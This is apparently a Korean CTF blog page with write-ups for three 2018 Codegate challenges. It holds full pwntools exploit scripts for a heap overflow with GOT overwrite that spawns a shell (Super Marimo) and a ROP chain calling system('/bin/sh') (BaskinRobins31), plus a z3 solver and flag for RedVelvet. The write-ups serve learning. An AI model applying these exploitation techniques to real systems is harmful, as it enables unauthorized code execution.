2018 Codegate Super Marimo
문제를 풀기 전에 먼저 보호기법을 보자
취약점은 modify 함수 부분에서 발생한다.
이게 modify 함수인데 보면 time 함수와 다른 값들을 연산하여 size라는 변수에다 넣은 다음에 나중에 INPUT 함수를 이용하여 32*size 만큼을 입력받는다. 그렇게 되면 다른 청크의 값을 변조하는 게 가능해진다.
만약에 내가 "show me the marimo"를 치고 name이 AAAA고 profile이 BBBB인 것과 name이 aaaa고 profile이 bbbb인 것을 만들었을 때의 힙 상황이다.
내가 name이 AAAA고 profile이 BBBB인 marimo의 profile 값을 modify를 이용하여 profile의 내용을 원래 사이즈보다 많이 넣어서 다음 marimo의 데이터를 수정한다면 어떻게 될까?
릭은 물론이고 이를 이용하여 쉘을 딸 수도 있을 것이다.
그래서 나는 공격을 위해 malloc_got를 두 번째 marimo name주소를 malloc_got로 덮어서 malloc 함수의 주소를 구한 다음에 base와 one_shot 주소를 구했다.
이제 다시 첫 번째 marimo를 릭할 때 했던 것처럼 profile 값을 modify를 이용하여 두 번째 marimo의 name과 profile를 puts_got로 덮었다.
이제 두 번째 marimo의 profile를 modify한다고 하면 profile에 있는 주소는 이미 puts_got로 조작 돼었기 때문에 거기에 one_shot을 넣어주면 쉘이 따지게 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | from pwn import* p = process("./marimo") #p = remote('ch41l3ng3s.codegate.kr',3333) elf = ELF("./marimo") puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] malloc_plt=elf.plt["malloc"] malloc_got=elf.got["malloc"] def make(name,profile): p.sendlineafter(">> ","show me the marimo") p.sendlineafter(">> ",name) p.sendlineafter(">> ",profile) def view(index): p.sendlineafter(">> ","V") p.sendlineafter(">> ",str(index)) make("AAAA","BBBB") make("aaaa","bbbb") p.sendlineafter(">> ","V") print p.recv(1024) sleep(3) p.sendline("0") print p.recv(1024) sleep(3) p.sendline("M") payload = "A"*40 payload += p64(0x21) payload += p64(0xffffff) payload += p64(malloc_got) p.sendlineafter(">> ",payload) p.sendlineafter(">> ","B") p.sendlineafter(">> ","V") p.sendlineafter(">> ","1") p.recvuntil("name : ") malloc_add = u64(p.recv(6)+"\x00\x00") base = malloc_add -0x84130 one_shot = base + 0x45216 print "malloc: " + hex(malloc_add) print "base: " + hex(base) print "one_shot : " + hex(one_shot) sleep(3) payload = "B"*40 payload += p64(0x21) payload += p64(0xfffffffe) payload += p64(puts_got) payload += p64(puts_got) p.sendlineafter(">> ","B") p.sendlineafter(">> ","V") p.sendlineafter(">> ","0") p.sendlineafter(">> ","M") p.sendlineafter(">> ",payload) p.sendlineafter(">> ","B") p.sendlineafter(">> ","V") p.sendlineafter(">> ","1") p.sendlineafter(">> ","M") p.sendlineafter(">> ",p64(one_shot)) p.interactive() | cs |
puts나 malloc로 굳이 덮을 필요는 없다 자기가 편한 걸 쓰면 된다. 빨리 풀 수 있었는데 one_shot이 안 먹혀서 오래 걸렸다.
그래도 Write_up을 전혀 참고하지 않고 풀어서 뿌듯했다.
'CTF' 카테고리의 다른 글
2016 Boston Key Party CTF Cookbook (0) | 2018.02.27 |
---|---|
Bctf_2016 bcloud (0) | 2018.02.21 |
2018 Codegate BaskinRobins31 (0) | 2018.02.04 |
2018 Codegate RedVelvet (0) | 2018.02.04 |
2017 acebear CTF easy_heap (0) | 2018.01.30 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
2018 Codegate BaskinRobins31
보호기법부터 체크하자!
메인함수를 보자!
재미있는 베스킨라빈스 게임이다. Hint is ROP? 어딘가 값을 크게 받는가보다.
어디서 받을까하고 찾아봤더니
your_turn 함수에서 s 사이즈보다 큰 400byte를 받는다. PIE와 Full RELRO도 걸리지 않았으니 bss 영역과 함수들의 plt got를 이용하여 ROP를 했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | from pwn import* #p = process(["./BaskinRobins31"],env={'LD_PRELPAD':'libc6_2.23-0ubuntu10_amd64.so'}) p = remote("ch41l3ng3s.codegate.kr",3131) elf = ELF("./BaskinRobins31") rdi = 0x00400bc3 rsi = 0x00400bc1 rdx = 0x0040087c read_plt = elf.plt["read"] read_got = elf.got["read"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] bss = elf.bss() binsh = "/bin/sh\x00" payload = "A"*176 payload += "B"*8 payload += p64(rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(rdi) payload += p64(0) payload += p64(rsi) payload += p64(bss) payload += p64(bss) payload += p64(rdx) payload += p64(len(binsh)+1) payload += p64(read_plt) payload += p64(rdi) payload += p64(0) payload += p64(rsi) payload += p64(read_got) payload += p64(read_got) payload += p64(rdx) payload += p64(8) payload += p64(read_plt) payload += p64(rdi) payload += p64(bss) payload += p64(read_plt) print p.recv(1024) p.send(payload) print p.recvuntil("Don't break the rules...:( \n") leak = u64(p.recv(6)+"\x00\x00") base = leak - 0x6f690 system = base+0x45390 print "1: "+hex(leak) print "2: "+hex(base) print "3: "+hex(system) p.send(binsh) p.send(p64(system)) p.interactive() | cs |
풀 수 있는 문제들이 나와서 다행인 대회였다ㅎ.
'CTF' 카테고리의 다른 글
Bctf_2016 bcloud (0) | 2018.02.21 |
---|---|
2018 Codegate Super Marimo (6) | 2018.02.06 |
2018 Codegate RedVelvet (0) | 2018.02.04 |
2017 acebear CTF easy_heap (0) | 2018.01.30 |
2017 codegate Babypwn (2) | 2018.01.25 |
2018 Codegate RedVelvet
위에 보이는 func 함수들은 각각 연산을 하면서 값을 체크한다.
그래서 이 연산들을 해주기 위해 z3를 사용했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | from z3 import* var = [BitVec('var[%d]' %i,16) for i in range(0,26)] s = Solver() s.add(var[0] * 2 *(var[1] ^ var[0]) - var[1] == 10858) s.add(var[0] > 85) s.add(var[0] <= 95) s.add(var[1] > 96) s.add(var[1] <= 111) s.add(var[1] % var[2] == 7) s.add(var[2] > 90) s.add(var[2]/var[3]+(var[3]^var[2]) == 21) s.add(var[2]<=99) s.add(var[3]<=119) v2 = (var[4]^var[3]^var[4]) s.add((v2 % var[4])+var[3] == 137) s.add(var[3] > 115) s.add(var[4] <= 99) s.add(var[4] == 95) s.add(((var[5] + var[4]) ^ (var[4] ^ var[5] ^ var[4])) == 225) s.add(var[4]>90) s.add(var[5]<=89) s.add(var[5]<=var[6]) s.add(var[6]<=var[7]) s.add(var[5]>85) s.add(var[6]>110) s.add(var[7]>115) s.add((var[6]+var[7])^(var[5]+var[6]) == 44) s.add((var[6]+var[7])%var[5]+var[6] == 161) s.add(var[7]>=var[8]) s.add(var[8]>=var[9]) s.add(var[7]<=119) s.add(var[8]>90) s.add(var[9]<=89) s.add((var[7]+var[9])^(var[8]+var[9])==122) s.add((var[7]+var[9])%var[8]+var[9] == 101) s.add(var[9]<=var[10]) s.add(var[10]<=var[11]) s.add(var[11]<=114) s.add((var[9]+var[10])/var[11]*var[10]==97) s.add((var[11]^(var[9]-var[10]))*var[10] == -10088) s.add(var[11]<=114) s.add(var[11] == var[12]) s.add(var[12]>=var[13]) s.add(var[13]<=99) s.add(var[13]+var[11]*(var[13]-var[12])-var[11]== -1443) s.add(var[13]>=var[14]) s.add(var[14]>=var[15]) s.add(var[14] * (var[13] + var[15] + 1) - var[15] == 15514) s.add(var[14]>90) s.add(var[14]<=99) s.add(var[16]>=var[15]) s.add(var[15]>=var[17]) s.add(var[16]>100) s.add(var[16]<=104) s.add(var[15]+(var[16]^(var[16]-var[17]))-var[17]==70) s.add((var[16]+var[17])/var[15]+var[15] == 68) s.add(var[17]>=var[18]) s.add(var[18]>=var[19]) s.add(var[18]<=59) s.add(var[19]<=44) s.add(var[17] + (var[18] ^ (var[19] + var[18])) - var[19] == 111) s.add((var[18] ^ (var[18] - var[19])) + var[18] == 101) s.add(var[19] <= var[20]) s.add(var[20] <= var[21]) s.add(var[19]>40) s.add(var[20]>90) s.add(var[21]<=109) s.add(var[21] + (var[20] ^ (var[21] + var[19])) - var[19] == 269) s.add((var[21] ^ (var[20] - var[19])) + var[20] == 185) s.add(var[21]>=var[23]) s.add(var[22]>=var[23]) s.add(var[22]<=99) s.add(var[23]>90) s.add(var[21] + (var[22] ^ (var[22] + var[21])) - var[23] == 185) s.add(var[24]>=var[25]) s.add(var[24]>=var[23]) s.add(var[25]>95) s.add(var[24]<=109) s.add(((var[24] - var[23]) * var[24] ^ var[25]) - var[23] == 1214) s.add(((var[25] - var[24]) * var[25] ^ var[23]) + var[24] == -1034) print s.check() print s.model() | cs |
이렇게 연산을 진행하면
이렇게 값이 나온다 이걸 이제 순서대로 문자로 바꿔주면
What_You_Wanna_Be?:)_l`_la 라고 나온다.
근데 이대로 넣으니까 인증이 안된다. 근데 `을 보고 la la가 아닐까? 생각해서 `를 a로 바꾸고 인증하니까 됐다.
z3는 처음 써봤는데 신기했다. 다음에는 angr도 써봐야겠다. 그리고 레드벨벳은 예쁘다.
FLAG: What_You_Wanna_Be?:)_la_la
'CTF' 카테고리의 다른 글
2018 Codegate Super Marimo (6) | 2018.02.06 |
---|---|
2018 Codegate BaskinRobins31 (0) | 2018.02.04 |
2017 acebear CTF easy_heap (0) | 2018.01.30 |
2017 codegate Babypwn (2) | 2018.01.25 |
2016 WITHcon Malloc (0) | 2018.01.22 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.